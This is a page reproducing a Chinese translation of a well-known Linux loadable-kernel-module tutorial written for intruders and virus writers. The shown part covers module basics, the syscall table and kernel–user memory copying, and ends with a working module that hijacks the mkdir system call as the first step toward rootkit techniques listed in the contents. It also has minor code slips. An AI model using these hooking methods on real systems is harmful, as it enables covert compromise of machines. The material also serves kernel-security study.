当前位置:文档之家› Linux可加载模块

Linux可加载模块

Linux可加载模块
Linux可加载模块

Linux可加载内核模块(LKM)

I.基础知识

1.什么是LKM

2.什么是系统调用

3.什么是内核符号表

4.如何进行内核与用户空间内存数据的交换

5.使用用户空间的各种函数方法

6.常用内核空间函数列表

7.什么是内核后台进程

8.创建自己的设备

II.深入探讨

1.如何截获系统调用

2.哪些系统调用应被截获

2.1 寻找重要的系统调用(strace命令方法)

3.迷惑内核系统表

4.针对文件系统的黑客方法

4.1 如何隐藏文件

4.2 如何隐藏文件内容(总体说明)

4.3 如何隐藏文件的特定部分(源语示例)

4.4 如何监视重定向文件操作

4.5 如何避免某一文件的属主问题

4.6 如何使黑客工具目录不可访问

4.7 如何改变CHROOT环境

5.针对进程的黑客方法

5.1如何隐藏某一进程

5.2如何重定向文件的执行

6.针对网络(Socket)的黑客方法

6.1 如何控制Socket操作

7.终端(TTY)的截取方法

8.用LKM编写病毒

8.1 LKM病毒是如何感染文件的(不仅感染模块;源语示例)

8.2 LKM病毒如何协助入侵的

9.使LKM不可见、不可删除

10.其它滥用内核后台进程的方法

11.如何检测自己编写的当前LKM

III.解决办法(用于系统管理员)

1.LKM检测程序的原理与思路

1.1 检测程序示例

1.2 密码保护的creat_module()函数类型程序的实例

2.反LKM传染程序的编写思路

3.使自己的程序不可跟踪(原理)

4.用LKM加固Linux内核

4.1 为何给予仲裁程序执行权?(用LKM实现的Phrack的Route的思路)

4.2 链路修补(用LKM实现的Phrack 的Solar Designer的思路)

4.3 /proc 权限修补(用LKM实现的Phrack的Route的思路)

4.4 securelevel修补(用LKM实现的Phrack的Route的思路)

底层磁盘修补

IV.一些更好的思路(用于黑客)

1.反击管理员的LKM的技巧

2.修补整个内核—或创建黑客操作系统

2.1如何在/dev/kmem下寻找内核符号

2.2无需内核支持的新insmod命令

3.最后几句

内容提要

V.最新特性:内核2.2

1.对LKM编写者来说主要的不同点

VI.后话

1.LKM的背景或如何使系统插件与入侵兼容

2.到其它资源的链接

致谢

附录

A –源代码

a) LKM Infection by Stealthf0rk/SVAT

b) Heroin - the classic one by Runar Jensen

c) LKM Hider / Socket Backdoor by plaguez

d) LKM TTY hijacking by halflife

e) AFHRM - the monitor tool by Michal Zalewski

f) CHROOT module trick by FLoW/HISPAHACK

g) Kernel Memory Patching by ?

h) Module insertion without native support by Silvio Cesare

导言

用Linux构造服务器环境越来越流行,所以入侵Linux也日益增多。攻击Linux的最高技术之一就是使用内核代码。这种内核代码可据其特性称为可加载内核模块(LKM),是一段运行在内核空间的代码,这就允许我们访问操作系统最敏感的部分。以前也有一些非常出色的介绍LKM入侵的文献(例如Phrack),他们介绍新的思路、新的方法并完成一个黑客梦寐以求的功能的LKM,并且1998年一些公开的讨论(新闻组、邮件列表)也是非常热门的。为什么我又写一遍关于LKM的文字呢,有几个原因:

以前的文献对内核初学者没有给出好的解释;本文有比较大的篇幅帮助初学者去理解概念。我见过很多利用漏洞或窃听程序却对这些东西如何工作一无所知的人。我在文中包括了大量加了详细注释的源代码,主要也是为了帮助那些知道网络入侵远远不同于网络破坏的初学者。所有公开的文献都是关于某个主题的,没有专门为黑客写的关于LKM的完备的指导。本文将涵盖内核滥用的几乎所有方面(甚至关于病毒)

本文是从黑客和病毒程序编写者的角度出发的,但对系统管理员和一般内核开发人员改进工作也有帮助。

早期的文献向我们提供了LKM滥用的主要优点和方法,但没有什么是大家没听说过的。本文将提供一些新的思路。(没有完全都是新的东西,但有些东西会对我们有所帮助)

本文将提供一些概念,用简单的方法防止LKM攻击。

本文还将说明如何运用一些方法打破LKM保护,如实时代码修补。

请记住,新思路的实现是用源语模块实现的(只用于演示),如果要实际使用就须改写。

本文的写作动机是给大家一篇涵盖LKM所有问题的文章。在附录A给出了一些已有的LKM 插件和它们工作的简单描述以及如何使用它们。

整个文章(第五部分除外)是基于Linux2.0.x机器的(x86)。本人测试了所有程序和代码段。为了使用本文的大部分程序例子,Linux系统必须支持LKM。只有第四部分提供的源

代码无须本地LKM支持。本文中的大部分思路在2.2.x版本的系统上也能用(也许需要一

些轻微改动);但想到2.2.x内核刚刚发布(1/99)并且大部分发行商一直使用2.0.x (Redhat,SuSE,Caldera,...)。要到四月一些发行商如SuSE才会发行它们的2.2.x版内核,所以目前还无须知道如何入侵2.2.x内核。好的系统管理员为了更稳定的2.2.x内核也等了好几个月了。[注:好多系统不需要2.2.x内核所以还会沿用2.0.x]

本文有专门一节帮助系统管理员针对LKM提高系统安全。读者(黑客)也要阅读此节,你必须懂得系统管理员懂的所有知识,甚至比他懂的更多。你从此节也会获得一些思路,帮助自己编写更高级的‘黑客—LKM’。请通读全文。

请记住:本文仅用于教育目的。如利用本文的知识从事非法活动,后果自负。

第一部分基础知识

1、什么是LKM

LKM是Linux内核为了扩展其功能所使用的可加载内核模块。LKM的优点:动态加载,无须重新实现整个内核。基于此特性,LKM常被用作特殊设备的驱动程序(或文件系统),如声卡的驱动程序等等。

所有的LKM包含两个最基本的函数(最小):

int init_module(void) /*用于初始化所有成员*/

{

...

}

void cleanup_module(void) /*用于退出清理*/

{

...

}

加载一个模块使用如下命令,一般只有root有此权限:

#insomod module.o

此命令强制系统如下工作:

加载目标文件(此处为module.o)

调用create_module系统调用(关于系统调用见I.2)重新分配内存

内核符号用系统调用get_kernel_syms解析尚未解析的引用

然后系统调用init_module初始化LKMà 即执行int init_module(void)函数

内核符号将在I.3中解释(内核符号表)。

下面我们写出第一个小LKM展示一下它的基本工作原理:

#define MODULE

#include < LINUX module.h >

int init_module(void)

{

printk("<1>Hello World\n");

return 0;

}

void cleanup_module(void)

{

printk("<1>Bye, Bye");

}

你可能想知道为什么用printk(...)而不是用printf(...),是的,内核编程大体上是不同于用户空间编程的。你只有一个有限的命令集(见I.6)。用这些命令你不能做太多事,所以你将学到如何利用你所知的用户空间应用的大量函数去帮助你攻击内核。耐心一点,我们不得不做一些以前(没听过,没做过...)的一些事。

上例如下编译:

#gcc –c –O3 helloworld.c

#insmod helloworld.o

好,我们的模块被加载了,并显示了最著名的文字。现在你可以用一些命令来告诉你你的LKM确实存在于内核空间了。

#lsmod

Module Pages Used by

helloworld 1 0

此命令从/proc/modules下读取信息,显示当前哪些模块被加载。’Pages’是内存信息(此模块用了多少页);’Used by’栏目告之此模块被系统用了多少次(引用次数)。只有此栏目数值为0时,才能删除模块;检查此数值后,可用如下命令删除模块:

#rmmod helloworld

好,这是我们朝着滥用LKM走的第一小步(非常小)。本人经常把LKM同以前DOS下内存驻留程序进行对比(我知道,它们有很多不同),它们都是我们驻留在内存中截获每个我们想要的中断的一个门户。微软的Win9x有种程序叫VxD的,也同LKM相似(当然也有

很多不同)。这些驻留程序最令人感兴趣的部分是具有挂起系统函数的功能,这些系统函数在Linux世界里称为系统调用。

2、什么是系统调用

我希望你能明白,每个操作系统都有一些嵌在内核中的函数,这些函数可以被系统的每个操作使用。

这些Linux使用的函数称为系统调用。它们对应用户和内核之间的转换。在用户空间打开一个文件对应内核空间的sys_open系统调用。要得到自己系统的完全的系统调用列表可以看/usr/include/sys/syscall.h文件。下面是我机器上的syscall.h列表:

#ifndef _SYS_SYSCALL_H

#define _SYS_SYSCALL_H

#define SYS_setup 0 /* 只用于初始化,使系统运行。*/

#define SYS_exit 1

#define SYS_fork 2

#define SYS_read 3

#define SYS_write 4

#define SYS_open 5

#define SYS_close 6

#define SYS_waitpid 7

#define SYS_creat 8

#define SYS_link 9

#define SYS_unlink 10

#define SYS_execve 11

#define SYS_chdir 12

#define SYS_time 13

#define SYS_prev_mknod 14

#define SYS_chmod 15

#define SYS_chown 16

#define SYS_break 17

#define SYS_oldstat 18

#define SYS_lseek 19

#define SYS_getpid 20

#define SYS_mount 21

#define SYS_umount 22

#define SYS_setuid 23

#define SYS_getuid 24

#define SYS_stime 25

#define SYS_ptrace 26

#define SYS_alarm 27

#define SYS_oldfstat 28

#define SYS_pause 29

#define SYS_utime 30

#define SYS_stty 31

#define SYS_gtty 32

#define SYS_access 33

#define SYS_nice 34

#define SYS_ftime 35

#define SYS_sync 36

#define SYS_kill 37

#define SYS_rename 38

#define SYS_mkdir 39

#define SYS_rmdir 40

#define SYS_dup 41

#define SYS_pipe 42

#define SYS_times 43

#define SYS_prof 44

#define SYS_brk 45

#define SYS_setgid 46

#define SYS_getgid 47

#define SYS_signal 48

#define SYS_geteuid 49

#define SYS_getegid 50

#define SYS_acct 51

#define SYS_phys 52

#define SYS_lock 53

#define SYS_ioctl 54

#define SYS_fcntl 55

#define SYS_mpx 56

#define SYS_setpgid 57

#define SYS_ulimit 58

#define SYS_oldolduname 59 #define SYS_umask 60

#define SYS_chroot 61

#define SYS_prev_ustat 62 #define SYS_dup2 63

#define SYS_getppid 64

#define SYS_getpgrp 65

#define SYS_setsid 66

#define SYS_sigaction 67

#define SYS_siggetmask 68 #define SYS_sigsetmask 69 #define SYS_setreuid 70

#define SYS_setregid 71

#define SYS_sigsuspend 72 #define SYS_sigpending 73 #define SYS_sethostname 74 #define SYS_setrlimit 75

#define SYS_getrusage 77

#define SYS_gettimeofday 78 #define SYS_settimeofday 79 #define SYS_getgroups 80

#define SYS_setgroups 81

#define SYS_select 82

#define SYS_symlink 83

#define SYS_oldlstat 84

#define SYS_readlink 85

#define SYS_uselib 86

#define SYS_swapon 87

#define SYS_reboot 88

#define SYS_readdir 89

#define SYS_mmap 90

#define SYS_munmap 91

#define SYS_truncate 92

#define SYS_ftruncate 93

#define SYS_fchmod 94

#define SYS_fchown 95

#define SYS_getpriority 96 #define SYS_setpriority 97 #define SYS_profil 98

#define SYS_statfs 99

#define SYS_fstatfs 100

#define SYS_ioperm 101

#define SYS_socketcall 102 #define SYS_klog 103

#define SYS_setitimer 104

#define SYS_getitimer 105 #define SYS_prev_stat 106 #define SYS_prev_lstat 107 #define SYS_prev_fstat 108 #define SYS_olduname 109 #define SYS_iopl 110

#define SYS_vhangup 111

#define SYS_idle 112

#define SYS_vm86old 113

#define SYS_wait4 114

#define SYS_swapoff 115

#define SYS_sysinfo 116

#define SYS_ipc 117

#define SYS_fsync 118

#define SYS_sigreturn 119

#define SYS_setdomainname 121

#define SYS_uname 122

#define SYS_modify_ldt 123

#define SYS_adjtimex 124

#define SYS_mprotect 125

#define SYS_sigprocmask 126

#define SYS_create_module 127

#define SYS_init_module 128

#define SYS_delete_module 129

#define SYS_get_kernel_syms 130

#define SYS_quotactl 131

#define SYS_getpgid 132

#define SYS_fchdir 133

#define SYS_bdflush 134

#define SYS_sysfs 135

#define SYS_personality 136

#define SYS_afs_syscall 137 /* 用于Andrew文件系统的系统调用。*/ #define SYS_setfsuid 138

#define SYS_setfsgid 139

#define SYS__llseek 140

#define SYS_getdents 141

#define SYS__newselect 142

#define SYS_flock 143

#define SYS_syscall_flock SYS_flock

#define SYS_msync 144

#define SYS_readv 145

#define SYS_syscall_readv SYS_readv

#define SYS_writev 146

#define SYS_syscall_writev SYS_writev

#define SYS_getsid 147

#define SYS_fdatasync 148

#define SYS__sysctl 149

#define SYS_mlock 150

#define SYS_munlock 151

#define SYS_mlockall 152

#define SYS_munlockall 153

#define SYS_sched_setparam 154

#define SYS_sched_getparam 155

#define SYS_sched_setscheduler 156

#define SYS_sched_getscheduler 157

#define SYS_sched_yield 158

#define SYS_sched_get_priority_max 159

#define SYS_sched_get_priority_min 160

#define SYS_sched_rr_get_interval 161

#define SYS_nanosleep 162

#define SYS_mremap 163

#define SYS_setresuid 164

#define SYS_getresuid 165

#define SYS_vm86 166

#define SYS_query_module 167

#define SYS_poll 168

#define SYS_syscall_poll SYS_poll

#endif /* */

每个系统调用被定义了一个数字(见上列表),实际上是用数字做系统调用。

内核用中断0x80管理所有的系统调用。系统调用号和其它参数被移入某个寄存器(例如,将系统调用号放入eax)。Sys_call_table[]作为内核中的一个结构数组,系统调用号此数组的索引,这个结构数组把系统调用号映像到所需服务函数。

好,这些知识足够继续读下去了,下表列出了最让人感兴趣的系统调用,附有简短说明。相信我,如果你想编写真正有用的LKM,你必须确切弄懂这些系统调用如何工作的。

系统调用

描述

int sys_brk(unsigned long new_brk);

改变数据段的大小à 此系统调用将在I.4中讨论

int sys_fork(struct pt_regs regs);

对应用户空间著名函数fork()的系统调用

int sys_getuid ()

int sys_setuid (uid_t uid)

...

管理UID 等的系统调用

int sys_get_kernel_sysms(struct kernel_sym *table)

访问内核系统表的系统调用(见I.3)

int sys_sethostname (char *name, int len);

int sys_gethostname (char *name, int len);

sys_sethostname 用于设置主机名,sys_gethostname 用于取回主机名

int sys_chdir (const char *path);

int sys_fchdir (unsigned int fd);

两个函数都用于设置当前路径(cd ...)

int sys_chmod (const char *filename, mode_t mode);

int sys_chown (const char *filename, mode_t mode);

int sys_fchmod (unsigned int fildes, mode_t mode);

int sys_fchown (unsigned int fildes, mode_t mode);

用来管理权限等的一些函数

int sys_chroot (const char *filename);

为申请调用的进程设置根路径

int sys_execve (struct pt_regs regs);

重要的系统调用,用来执行文件(pt_regs是寄存器堆栈)

long sys_fcntl (unsigned int fd, unsigned int cmd, unsigned long arg);

改变fd(打开文件的描述符)的特征

int sys_link (const char *oldname, const char *newname);

int sym_link (const char *oldname, const char *newname);

int sys_unlink (const char *name);

管理硬/软链接的系统调用

int sys_rename (const char *oldname, const char *newname);

改文件名

int sys_rmdir (const char* name);

int sys_mkdir (const *char filename, int mode);

创建和删除目录

int sys_open (const char *filename, int mode);

int sys_close (unsigned int fd);

打开相关文件(也可创建),关闭文件

int sys_read (unsigned int fd, char *buf, unsigned int count);

int sys_write (unsigned int fd, char *buf, unsigned int count);

读写文件的系统调用

int sys_getdents (unsigned int fd, struct dirent *dirent, unsigned int count);

取文件列表的系统调用(ls等命令)

int sys_readlink (const char *path, char *buf, int bufsize);

读符号链接

int sys_selectt (int n, fd_set *inp, fd_set *outp, fd_set *exp, struct timeval *tvp);

复杂I/O操作

sys_socketcall (int call, unsigned long args);

socket 函数

unsigned long sys_create_module (char *name, unsigned long size);

int sys_delete_module (char *name);

int sys_query_module (const char *name, int which, void *buf, size_t bufsize, size_t *ret);

用于加载/卸载及查询LKM

我认为对任何入侵这些都是最重要的系统调用,当然对你作为超级用户的系统可能还需要一些更特殊的。但一般的黑客更可能使用上面列出的。在第二部分你会学到怎样使用对你有用的系统调用。

3.什么是内核符号表

好,我们理解了模块和系统调用最基本的概念。但还有另外一个我们需要理解的重点—内核符号表。看一下/proc/ksyms,这个文件的每一项代表一个引出的(公共)内核符号,可被我们的LKM访问。再仔细看看这个文件,你会发现很多有趣的东西。这个文件真的很有趣,

可以帮助我们看一看我们的LKM能用哪些内核符号;但有个问题,在我们的LKM(象函数一样)中使用的每个符号也被引出为公共符号,也列在此文件中,所以有经验的系统管理员能发现我们的小LKM并杀掉它。

有很多种方法可防止管理员看到我们的LKM,看节II。在第二节中提到的方法可以被称为欺骗(’Hack’),但你读第二节的内容时,你看不到“把LKM符号排除在/proc/ksyms之外”的字样。;在第二节中没提到这个问题的原因如下:

你并不需要把你的模块符号排除在/proc/ksyms之外的技巧。LKM的开发人员可用如下的常规代码限制他们模块的输出符号:

static struct symbol_table module_syms= { /*定义自己的符号表*/

#include < LINUX symtab_begin.h >/*我们想要输出的符号,我们真想么?*/

...

};

register_symtab(&module_syms); /*做实际的注册工作*/

正如我所说,我们不想输出任何符号为公共符号,所以我们用如下构造函数:

register_symtab(NULL);

这一行必须插入到init_module()函数中,记住这一点!

4.如何进行内核与用户空间内存数据的交换

到目前为止本文非常基本非常容易。现在我们来点难的(但提高不多)。在内核空间编程有很多好处,但也有很多不足。系统调用从用户空间获得参数(系统调用在一些封装程序如libc 中实现),但我们的LKM运行在内核空间。在节II中你会看到检查某个系统调用的参数非常重要,因为要根据参数决定对策。但我们怎么才能在工作于内核空间的模块中访问用户空间中的参数呢?

解决办法:我们必须进行传送。

对非利用内核入侵的黑客来说有点奇怪,但也非常容易。看下面的系统调用:

int sys_chdir (const char *path)

想象一下系统调用它,我们截获了调用(将在节II中讲到)。我们想检查一下用户想设置的路径,所以我们必须访问char *path。如果你试着象下面那样直接访问path变量

printk("<1>%s\n", path);

就一定会出问题。

记住你是在内核空间,你不能轻易的读用户空间内存。在Phrack52你可得到plaguez的解决方法,专用于传送字符串。他用内核模式函数(宏)取回用户空间内存中的字节。

#include < ASM segment.h >

get_user(pointer);

给这个函数一个指针指向*path就可帮助我们从用户空间取到想要的东西到内核空间。看一下plaguez写的在用户空间到内核空间移动字符串的的程序:

char *strncpy_fromfs(char *dest, const char *src, int n)

{

char *tmp = src;

int compt = 0;

do {

dest[compt++] = __get_user(tmp++, 1);

}

while ((dest[compt - 1] != '\0') && (compt != n));

return dest;

}

如果我们想转换*path变量,我们可用如下内核代码:

char *kernel_space_path;

kernel_space_path = (char *) kmalloc(100, GFP_KERNEL); /* 在内核空间中分配内存*/ (void) strncpy_fromfs(test, path, 20); /*调用plaguez写的函数*/

printk("<1>%s\n", kernel_space_path); /*现在我们可以使用任何想要的数据了*/

kfree(test); /*想着释放内存*/

上面的代码工作的非常好。一般性的传送太复杂;plaguez只用它来传送字符串(函数只用

于字符串拷贝)。一般数据的传送可用如下函数简单实现:

#include < ASM segment.h >

void memcpy_fromfs(void *to, const void *from, unsigned long count);

两个函数显而易见基于同类命令,但第二个函数同plaguez新定义的函数几乎一样。我推荐用memcpy_fromfs(...)做一般数据传送,plaguez的前一个用于字符串拷贝。

现在我们知道了如何把用户空间的内存转换到内核空间。但反向怎么办?这有点难,因为我们不容易在内核空间的位置定位用户空间。也许我们可以用如下方式处理转换:

#include < ASM segment.h >

void memcpy_tofs(void *to, const void *from, unsigned long count);

但如何在用户空间中定位*to指针呢?plaguez在Phrack一文中给出了最好的解决方法:

/*我们需要brk系统调用*/

static inline _syscall1(int, brk, void *, end_data_segment);

...

int ret, tmp;

char *truc = OLDEXEC;

char *nouveau = NEWEXEC;

unsigned long mmm;

mmm = current->mm->brk; /*定位当前进程数据段大小*/

ret = brk((void ) (mmm + 256)); /*利用系统调用brk为当前进程增加内存256个字节*/

if (ret < 0)

return ret; /*分配不成功*/

memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1);

这里使用了一个非常高明的技巧。Current是指向当前进程任务结构的指针;mm是指向对

应进程内存管理的数据结构mm_struct的指针。通过用brk系统调用作用于current->mm->brk,我们可以增加未用数据段空间大小,同时我们知道分配内存就是处理数据段,所以通过增加

未用空间大小,我们就为当前进程分配了一些内存。这块内存可用于将内核空间内存拷贝到用户空间(当前进程)。

你可能想知道上面代码中第一行是做什么用的。这一行帮助我们使用在内核空间象调用函数一样使用用户空间。所有的用户空间函数对应一个a_syscall(...)形式的宏,所以我们可以构

造一个系统调用宏对应用户空间的某个函数(通过系统调用对应);这里是针对brk(..)的。

5.使用用户空间的各种函数方法

你看到的在I.4中我们用一系统调用宏来构造我们自己的brk调用,它很象我们所知的用户

空间的brk。事实是用户空间的库函数(并非所有的)是通过这样的系统调用宏来实现的。下面的代码展示了用来构造我们在I.4中用的brk(...)函数的_syscall(...)宏(取自/asm/unistd.h)。

#define _syscall1(type,name,type1,arg1) \

type name(type1 arg1) \

{ \

long __res; \

__asm__ volatile ("int $0x80" \

: "=a" (__res) \

: "0" (__NR_##name),"b" ((long)(arg1))); \

if (__res >= 0) \

return (type) __res; \

errno = -__res; \

return -1; \

}

你无须了解这段代码的全部功能,它只是用_syscall的参数作为参数调用中断0x80(见I.2)。name是我们所需的系统调用(name被扩展为__NR_name,在/asm/unistd.h中定义)。用这种办法我们实现了brk函数。其它带有不同个数参数的函数由其它宏实现(_syscallX,其中X 代表参数个数)。

我个人用其它方法实现函数;见下例:

int (*open)(char *, int, int); /*声明原型*/

open = sys_call_table[SYS_open]; /*你也可以用__NR_open*/

用这种方法你无须用任何系统调用宏,你只用来自sys_call_table的函数指针就可以了。我

曾在网上发现SVAT的著名LKM感染程序就是用的这种象函数一样构造用户空间的方法。我认为这是较好的解决办法,但你要自己判断和测试。

要注意为这些系统调用提供参数的时候,是来自用户空间而非你的内核空间。读I.4找把内核空间的数据传递到用户空间内存中的方法。

一个非常简单的做这些的方法是处理寄存器。你必须知道Linux用段选择器去区分内核空间、用户空间等等。从用户空间传给系统调用的参数位于数据段选择器限定的某个位置。[我在I.4中没提到这些,因为它更适合本节。]

从asm/segment.h知DS可用get_ds()取回。所以系统调用中使用的参数数据可在内核空间中访问,只要我们把内核空间所用的段选择器的DS值设为用户段的值就可以了。这可用

set_fs(...)实现。但要小心,你必须访问完系统调用的参数之后恢复FS。下面我们看一段有

用的代码:

例如filename在内核空间的我们刚建立的一个字符串,

unsigned long old_fs_value=get_fs();

set_fs(get_ds); /*此后我们可以访问用户空间中数据*/

open(filename, O_CREAT|O_RDWR|O_EXCL, 0640);

set_fs(old_fs_value); /*恢复fs...*/

我认为这是最简单/最快的解决问题的方法,但还需你自己测试。记住我在这里举的函数例子(brk,open)都是通过一个系统调用实现的。但也有很多用户空间函数是集成在一个系统调用里面的。看一下重要系统调用列表(I.2);例如,sys_socket调用实现了所有关于socket 的功能(创建、关闭、发送、接收...)。所以构造自己的函数是要小心,最好看一下内核源码。

6.常用内核空间函数列表

本文的开始我介绍了printk(...)函数,它是所有人都可在内核空间使用的,所以叫内核函数。内核开发人员需要很多通常只有通过库函数才能完成的复杂函数,这些函数被编制成内核函数。下面列出经常使用的最重要的内核函数:

函数/宏

描述

int sprintf (char *buf, const char *fmt, ...);

int vsprintf (char *buf, const char *fmt, va_list args);

接收数据到字符串中的函数

printk (...)

同用户空间的printf函数

void *memset (void *s, char c, size_t count);

void *memcpy (void *dest, const void *src, size_t count);

char *bcopy (const char *src, char *dest, int count);

void *memmove (void *dest, const void *src, size_t count);

int memcmp (const void *cs, const void *ct, size_t count);

void *memscan (void *addr, unsigned char c, size_t size);

内存函数

int register_symtab (struct symbol_table *intab);

见I.1

char *strcpy (char *dest, const char *src);

char *strncpy (char *dest, const char *src, size_t count);

char *strcat (char *dest, const char *src);

char *strncat (char *dest, const char *src, size_t count);

int strcmp (const char *cs, const char *ct);

int strncmp (const char *cs,const char *ct, size_t count);

char *strchr (const char *s, char c);

size_t strlen (const char *s);size_t strnlen (const char *s, size_t count);

size_t strspn (const char *s, const char *accept);

char *strpbrk (const char *cs, const char *ct);

char *strtok (char *s, const char *ct);

字符串比较函数等等

unsigned long simple_strtoul (const char *cp, char **endp, unsigned int base);

把字符串转换成数字

get_user_byte (addr);

put_user_byte (x, addr);

get_user_word (addr);

put_user_word (x, addr);

get_user_long (addr);

put_user_long (x, addr);

访问用户内存的函数

suser();

fsuser();

检测超级用户权限

int register_chrdev (unsigned int major, const char *name, struct file_o perations *fops);

int unregister_chrdev (unsigned int major, const char *name);

int register_blkdev (unsigned int major, const char *name, struct file_o perations *fops);

int unregister_blkdev (unsigned int major, const char *name);

登记设备驱动器的函数

..._chrdev -> 字符设备

..._blkdev -> 块设备

请记住,这些函数中有的也可用I.5中提到的方法实现。当然你也要明白,如果内核已经提供了这些,自己构造就意义不大了。后面你将看到这些函数(尤其是字符串比较)对实现我们的目的非常重要。

7.什么是内核后台进程

最后我们基本到了基础知识部分的结尾,现在我解释一下内核后台进程的运行情形

(/sbin/kerneld)。从名字可以看到这是一个用户空间中等待某个动作的进程。首先应该知道,为了应用kerneld的特点,必须在建立内核时激活kerneld选项。Kerneld按如下方式工作:如果内核想访问某项资源(当然在内核空间),而资源目前没有,它并不产生错误,而是向Kerneld请求该项资源。如果kerneld能够提供资源,就加载所需的LKM,内核继续运行。使用这种模式可以仅当LKM真正需要/不需要时被加载或卸载。很明显这些工作在用户空间和内核空间都有。

Kerneld存在于用户空间。如果内核请求一个新模块,这个后台进程将收到一个内核发来的通知哪个模块被加载的字符串。内核可能发送一个一般的名字象eth0(而非对象文件),这时系统需要查找/etc/modules.conf中的别名行。这些行把系统所需的LKM同一般名称匹配起来。

下行说明eth0对应DEC的Tulip 驱动程序LKM

# /etc/modules.conf # 或/etc/conf.modules – 反过来

alias eth0 tulip

以上是对应用户空间由kerneld后台进程使用的。内核空间主要由4个函数对应。这些函数都基于对kernekl_send的调用。确切的通过kerneld_send调用这些函数的方法可参见

linux/kerneld.h。下表列出上面提到的四个函数:

函数

描述

int sprintf (char *buf, const char *fmt, ...);

int vsprintf (char *buf, const char *fmt, va_list args);

用于把输入数据放入字符串中的函数

int request_module (const char *name);

告知kerneld内核请求某个模块(给出名称或类ID/名称)

int release_module (const char* name, int waitflag);

卸载模块

int delayed_release_module (const char *name);

延迟卸载

int cancel_release_module (const char *name);

取消对delayed_release_module 的调用

注:内核2.2版用其它模式请求模块。参见第五部分。

8.建立你自己的设备

附录A介绍了TTY截取功能,它用一设备记录结果。所以我们先看一个设备驱动程序的很基本的例子。看如下代码(这是一个最基本的驱动程序,我主要写来演示,它几乎什么也不做):

#define MODULE

#define __KERNEL__

#include < LINUX module.h >

#include < LINUX kernel.h >

#include < ASM unistd.h>

#include < SYS syscall.h>

#include < SYS types.h>

#include < ASM fcntl.h>

#include < ASM errno.h>

#include < LINUX types.h>

#include < LINUX dirent.h>

#include < SYS mman.h>

#include < LINUX string.h>

#include < LINUX fs.h>

#include < LINUX malloc.h>

/*只用于演示*/

static int driver_open(struct inode *i, struct file *f)

{

printk("<1>Open Function\n");

return 0;

}

/*登记我们的驱动程序提供的所有函数*/

static struct file_operations fops = {

NULL, /*lseek*/

NULL, /*read*/

NULL, /*write*/

NULL, /*readdir*/

NULL, /*select*/

NULL, /*ioctl*/

NULL, /*mmap*/

driver_open, /*open, 看一下我们提供的open函数*/

NULL, /*release*/

NULL /*fsync...*/

};

int init_module(void)

{

/*登记驱动程序,符号为40,名称为driver */

if(register_chrdev(40, "driver", &fops)) return -EIO;

return 0;

}

void cleanup_module(void)

{

/*注销driver*/

unregister_chrdev(40, "driver");

}

最重要的函数是register_chrdev(...),它把我们的驱动程序以主设备号40登记,如果你想访问此驱动程序,如下操作:

# mknode /dev/driver c 40 0

# insmod driver.o

然后你就可以访问设备了(但我因为没时间没实现任何功能)。File_operations结构指明我们的驱动程序将提供给系统的所有函数(操作)。正如你所见我仅仅实现了最基本的无用函数输出一点东西。显然你可以用如上方法简单的实现你自己的设备。做一点练习。如果你想记录数据(如击键),你可以在驱动程序中建立一个缓冲区,然后通过设备接口将其内容输出。

第二部分深入探讨

1、如何截获系统调用

现在我们开始滥用LKM模式。一般LKM用于扩展内核(尤其硬件驱动程序)。我们的攻击‘hack’要做点儿不同的,首先截获系统调用然后修改它们,以便针对某个命令改变系统的响应方式。下面的模块使修改过的系统上的用户不能创建目录。这只是我们将如何工作的一个小小演示:

#define MODULE

#define __KERNEL__

#include < LINUX module.h>

#include < LINUX kernel.h>

#include < ASM unistd.h>

#include < SYS syscall.h>

#include < SYS types.h>

#include < ASM fcntl.h>

#include < ASM errno.h>

#include < LINUX types.h>

#include < LINUX dirent.h>

#include < SYS mman.h>

#include < LINUX string.h>

#include < LINUX fs.h>

#include < LINUX malloc.h>

extern void* sys_call_table[]; /*sys_call_table 被引出,所以我们可访问它*/

int (*orig_mkdir)(const char *path); /*未改前的系统调用*/

int hacked_mkdir(const char *path)

{

return 0; /*一切正常,但新的系统调用什么也不做*/

}

int init_module(void) /*模块初始化*/

{

orig_mkdir=sys_call_table[SYS_mkdir];

sys_call_table[SYS_mkdir]=hacked_mkdir;

return 0;

}

void cleanup_module(void) /*模块卸载*/

{

sys_call_table[SYS_mkdir]=orig_mkdir; /*把mkdir系统调用恢复*/

}

编译执行这个模块(见I.1),试着建目录,应该不行。因为返值为0(意味着正常)我们

不能获得错误信息。删掉模块后,又可以建目录了。如你所见,要截获内核系统调用,只需更改sys_call_table(见I.2)中的对应登记项。

截获系统调用的一般方法大致如下列出:

在sys_call_table[]中查找系统调用的登记项(看一下include/sys/syscall.h)

用函数指针把sys_call_table[X]中的原始登记项保存(X代表想截获的系统调用号)

通过设置sys_call_table[X]为所需函数地址,把你自己定义的新的系统调用(伪装过的)地

址保存起来。

你要意识到把原始系统调用的函数指针保存非常有用,因为在你的伪造的函数中要用它来仿真原始函数。在写‘Hack-LKM’时你要面对的第一个问题就是‘哪个系统调用应被截获’。

2.哪些系统调用应被截获

也许你并非‘内核高手’,不知道所有应用程序或命令可使用的用于用户空间函数的系统调用。所以我将给你一些找到要控制的系统调用的提示:

a).读源代码。对于象Linux这样的系统,你几乎可以得到用户(管理员)所用的所有程序的源代码。一旦你找到一些基本函数如dup,open,write...看b)。

b).看一下include/sys/syscall.h(见I.2)试着找出直接对应的系统调用(对于dup可找到

SYS_dup;对于write可找到SYS_write;...)。如果这样不行看c)。

c).一些调用如socket,send,receive,...是通过一个系统调用实现的,正如以前我提过的。在include文件中找一下相关系统调用。

记住并非所有的C库函数都对应一个系统调用!大多函数根本不同任何系统调用有关系。

有一点经验的黑客会看一下 I.2中的系统调用列表,那里有足够的信息。例如很明显用户ID管理是通过uid系统调用实现的。如果你想更有把握,你也可以看一下库源代码/内核源

代码。

比较棘手的问题是管理员写自己的应用程序来检查系统的集成性/安全性。这些程序会导致

源代码泄露,我们无法得知这些程序如何工作也不知为了隐藏行迹和工具应截获哪些系统调用。也有可能管理员引入一个隐藏的LKM作为一个漂亮的象黑客做的一样的系统调用去检查系统的安全性(管理员经常使用黑客技术保护自己的系统)。所以下一步我们该怎么办?

2.1 寻找重要的系统调用(strace命令方法)

假设你懂用超级管理程序检查系统(可用多种方式做,如截获TTY(见II.9/附录A),一

个问题是你在超级管理程序中要隐藏自己的行迹直到某一时刻...)。所以用strace运行程序(可能要求你有root权限)。

#strace ‘要运行的程序’

